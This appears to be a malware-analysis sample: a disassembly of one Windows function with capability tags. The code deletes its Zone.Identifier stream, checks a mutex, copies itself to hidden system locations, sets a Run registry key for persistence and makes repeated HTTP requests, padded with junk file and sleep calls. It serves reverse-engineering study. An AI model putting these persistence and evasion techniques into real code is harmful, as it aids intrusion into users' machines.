Function at 0x405920
Capabilities:
Bypass mark of the web
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create http request
Create thread
Delete file
Hide graphical window
Initialize winsock library
Move file
Persist via run registry key
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8c
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x83c], 0x2382
mov eax, dword [ebp - 0x214]
cmp eax, dword [ebp - 0x83c]
jae 0x4060d4
push 0
push 0x413d04
call dword [sym.imp.USER32.dll_FindWindowW]
mov dword [ebp - 0xa50], eax
cmp dword [ebp - 0xa50], 0
je 0x4060c0
push 0x411158
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413c6c
push 0x413c98
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push 0x413c6c
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xa74], eax
cmp dword [ebp - 0xa74], 0
je 0x4059cc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413c6c
push 0x413c98
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xa78], 0
jmp 0x4059f2
mov ecx, dword [ebp - 0xa78]
add ecx, 1
mov dword [ebp - 0xa78], ecx
cmp dword [ebp - 0xa78], 0x7d0
jge 0x405a6a
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d50
push 0x413d04
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413c6c
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4059e3
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push 0x413c38
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xa68], eax
push 0x413d50
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0xa68], 0
je 0x405be4
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413c6c
push 0x413c98
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d50
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push 0x413c50
mov edx, dword [ebp - 0xa68]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xa5c], eax
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0xa5c], 0
je 0x405bcc
mov dword [ebp - 0xa7c], 0
jmp 0x405b88
mov eax, dword [ebp - 0xa7c]
add eax, 1
mov dword [ebp - 0xa7c], eax
cmp dword [ebp - 0xa7c], 0x7d0
jge 0x405bcc
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413c6c
push 0x413c98
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405b79
mov ecx, dword [ebp - 0xa5c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0xa68]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov eax, dword [ebp - 0xa50]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0xa50]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x413c84
push 0x413c6c
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0xa70], 0x37
mov dword [ebp - 0xa60], 0x2c
mov edx, dword [ebp - 0xa70]
add edx, dword [ebp - 0xa60]
mov dword [ebp - 0xa6c], edx
cmp dword [ebp - 0xa6c], 0x2328
jge 0x405ebf
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413c84
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x413cb4
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xa80], eax
push 0
push 0
push 0
push 0
push 0x413c38
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xa68], eax
cmp dword [ebp - 0xa68], 0
je 0x405d90
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push 0
push 0
push 0
push 0x413c50
mov eax, dword [ebp - 0xa68]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xa5c], eax
cmp dword [ebp - 0xa5c], 0
je 0x405d78
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413c6c
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x413c6c
push 0x413c98
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0xa5c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0xa68]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0xa80], 0
je 0x405ebf
push 0
mov eax, dword [ebp - 0xa80]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0xa80]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push 0x413c38
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xa68], eax
cmp dword [ebp - 0xa68], 0
je 0x405eb2
push 0
push 0
push 0
push 0
push 0x413c50
mov edx, dword [ebp - 0xa68]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xa5c], eax
cmp dword [ebp - 0xa5c], 0
je 0x405e5c
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0xa5c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413c6c
push 0x413c98
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x413c84
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0xa68]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0xa64], 0x1388
mov dword [ebp - 0xa54], 0x1f4
mov edx, dword [ebp - 0xa64]
cmp edx, dword [ebp - 0xa54]
jbe 0x405f4a
push 0
push 0x413c84
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xa84], eax
cmp dword [ebp - 0xa84], 0
je 0x405f48
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xa54]
add eax, 1
mov dword [ebp - 0xa54], eax
jmp 0x405ed3
push 0x413cb4
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x405fcc
push 0x413c6c
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d50
push 0x413d04
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push 0x413cc8
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xa58], eax
cmp dword [ebp - 0xa58], 0
je 0x406061
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0xa50]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 1
mov edx, dword [ebp - 0xa50]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413cb4
push 0x413c98
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x413c6c
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0xa88], 0
jmp 0x40607c
mov eax, dword [ebp - 0xa88]
add eax, 1
mov dword [ebp - 0xa88], eax
cmp dword [ebp - 0xa88], 0xfa0
jge 0x4060c0
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x2328
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d04
push 0x413cd8
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x40606d
mov ecx, dword [ebp - 0x214]
add ecx, 1
mov dword [ebp - 0x214], ecx
jmp 0x405948
push 0x413bec
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xa4c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4060fe
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x20c], 1
push 0x105
push 0x414ad8
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x83c], 0x2382
mov edx, dword [ebp - 0x214]
cmp edx, dword [ebp - 0x83c]
jae 0x4068cf
push 0
push 0x413d2c
call dword [sym.imp.USER32.dll_FindWindowW]
mov dword [ebp - 0xa8c], eax
cmp dword [ebp - 0xa8c], 0
je 0x4068bb
push str.wstr10
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413c6c
push 0x413c98
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push 0x413c6c
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xab0], eax
cmp dword [ebp - 0xab0], 0
je 0x4061c7
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413c6c
push 0x413c98
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xab4], 0
jmp 0x4061ed
mov eax, dword [ebp - 0xab4]
add eax, 1
mov dword [ebp - 0xab4], eax
cmp dword [ebp - 0xab4], 0x7d0
jge 0x406265
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d50
push 0x413d04
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413c6c
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4061de
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push 0x413c38
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xaa4], eax
push 0x413d50
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0xaa4], 0
je 0x4063df
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413c6c
push 0x413c98
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d50
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push 0x413c50
mov ecx, dword [ebp - 0xaa4]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xa98], eax
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0xa98], 0
je 0x4063c7
mov dword [ebp - 0xab8], 0
jmp 0x406383
mov edx, dword [ebp - 0xab8]
add edx, 1
mov dword [ebp - 0xab8], edx
cmp dword [ebp - 0xab8], 0x7d0
jge 0x4063c7
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413c6c
push 0x413c98
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406374
mov eax, dword [ebp - 0xa98]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0xaa4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov edx, dword [ebp - 0xa8c]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 0xa8c]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x413c84
push 0x413c6c
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0xaac], 0x37
mov dword [ebp - 0xa9c], 0x2c
mov ecx, dword [ebp - 0xaac]
add ecx, dword [ebp - 0xa9c]
mov dword [ebp - 0xaa8], ecx
cmp dword [ebp - 0xaa8], 0x2328
jge 0x4066ba
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413c84
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x413cb4
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xabc], eax
push 0
push 0
push 0
push 0
push 0x413c38
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xaa4], eax
cmp dword [ebp - 0xaa4], 0
je 0x40658b
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push 0
push 0
push 0
push 0x413c50
mov edx, dword [ebp - 0xaa4]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xa98], eax
cmp dword [ebp - 0xa98], 0
je 0x406573
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413c6c
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x413c6c
push 0x413c98
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0xa98]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0xaa4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0xabc], 0
je 0x4066ba
push 0
mov edx, dword [ebp - 0xabc]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0xabc]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push 0x413c38
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xaa4], eax
cmp dword [ebp - 0xaa4], 0
je 0x4066ad
push 0
push 0
push 0
push 0
push 0x413c50
mov ecx, dword [ebp - 0xaa4]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xa98], eax
cmp dword [ebp - 0xa98], 0
je 0x406657
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0xa98]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413c6c
push 0x413c98
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x413c84
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0xaa4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0xaa0], 0x1388
mov dword [ebp - 0xa90], 0x1f4
mov ecx, dword [ebp - 0xaa0]
cmp ecx, dword [ebp - 0xa90]
jbe 0x406745
push 0
push 0x413c84
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xac0], eax
cmp dword [ebp - 0xac0], 0
je 0x406743
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0xa90]
add edx, 1
mov dword [ebp - 0xa90], edx
jmp 0x4066ce
push 0x413cb4
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4067c7
push 0x413c6c
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d50
push 0x413d04
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push 0x413cc8
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xa94], eax
cmp dword [ebp - 0xa94], 0
je 0x40685c
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0xa8c]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 1
mov ecx, dword [ebp - 0xa8c]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413cb4
push 0x413c98
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x413c6c
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0xac4], 0
jmp 0x406877
mov edx, dword [ebp - 0xac4]
add edx, 1
mov dword [ebp - 0xac4], edx
cmp dword [ebp - 0xac4], 0xfa0
jge 0x4068bb
push 0x413cd8
push 0x413d2c
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x413d04
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x2328
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413d04
push 0x413cd8
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x406868
mov eax, dword [ebp - 0x214]
add eax, 1
mov dword [ebp - 0x214], eax
jmp 0x406143
push 0x414ad8
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x210], eax
push 0x414ad8
push str._s:Zone.Identifier
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0xa48]
push eax
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 0xc5c], 0x413bf4
mov ecx, dword [ebp - 0x210]
mov dword [ebp - 0xc60], ecx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xc62], ax
mov ecx, dword [ebp - 0xc5c]
cmp ax, word [ecx]
jne 0x40699a
cmp word [ebp - 0xc62], 0
je 0x40698e
mov edx, dword [ebp - 0xc60]
mov ax, word [edx + 2]
mov word [ebp - 0xc64], ax
mov ecx, dword [ebp - 0xc5c]
cmp ax, word [ecx + 2]
jne 0x40699a
add dword [ebp - 0xc60], 4
add dword [ebp - 0xc5c], 4
cmp word [ebp - 0xc64], 0
jne 0x406934
mov dword [ebp - 0xc68], 0
jmp 0x4069a5
sbb edx, edx
sbb edx, 0xffffffff
mov dword [ebp - 0xc68], edx
mov eax, dword [ebp - 0xc68]
mov dword [ebp - 0xc6c], eax
cmp dword [ebp - 0xc6c], 0
je 0x406c21
call fcn.0040dc60
movzx ecx, al
cmp ecx, 1
jne 0x4069d3
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea edx, [ebp - 0x838]
push edx
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x413bf4
lea eax, [ebp - 0x838]
push eax
push 0x4111d0
lea ecx, [ebp - 0x630]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x630]
push edx
push 0x414ad8
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x406b00
push 3
lea eax, [ebp - 0x630]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x424]
push ecx
push 0x20006
push 0
push 0x4111e8
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x406ae1
lea edx, [ebp - 0x630]
mov dword [ebp - 0xc70], edx
mov eax, dword [ebp - 0xc70]
add eax, 2
mov dword [ebp - 0xc74], eax
mov ecx, dword [ebp - 0xc70]
mov dx, word [ecx]
mov word [ebp - 0xc76], dx
add dword [ebp - 0xc70], 2
cmp word [ebp - 0xc76], 0
jne 0x406a77
mov eax, dword [ebp - 0xc70]
sub eax, dword [ebp - 0xc74]
sar eax, 1
mov dword [ebp - 0xc7c], eax
mov ecx, dword [ebp - 0xc7c]
lea edx, [ecx + ecx + 2]
push edx
lea eax, [ebp - 0x630]
push eax
push 1
push 0
push 0x413c14
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x630]
push eax
call fcn.0040df00
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x406b00
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413bf4
lea edx, [ebp - 0xa48]
push edx
push 0x4111dc
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea ecx, [ebp - 0x420]
push ecx
push 0x414ad8
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x406c21
push 3
lea edx, [ebp - 0x420]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x424]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x406c02
lea ecx, [ebp - 0x420]
mov dword [ebp - 0xc80], ecx
mov edx, dword [ebp - 0xc80]
add edx, 2
mov dword [ebp - 0xc84], edx
mov eax, dword [ebp - 0xc80]
mov cx, word [eax]
mov word [ebp - 0xc86], cx
add dword [ebp - 0xc80], 2
cmp word [ebp - 0xc86], 0
jne 0x406b98
mov edx, dword [ebp - 0xc80]
sub edx, dword [ebp - 0xc84]
sar edx, 1
mov dword [ebp - 0xc8c], edx
mov eax, dword [ebp - 0xc8c]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x420]
push edx
push 1
push 0
push 0x413c14
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x420]
push edx
call fcn.0040df00
add esp, 4
movzx eax, al
cmp eax, 1
jne 0x406c21
push 0
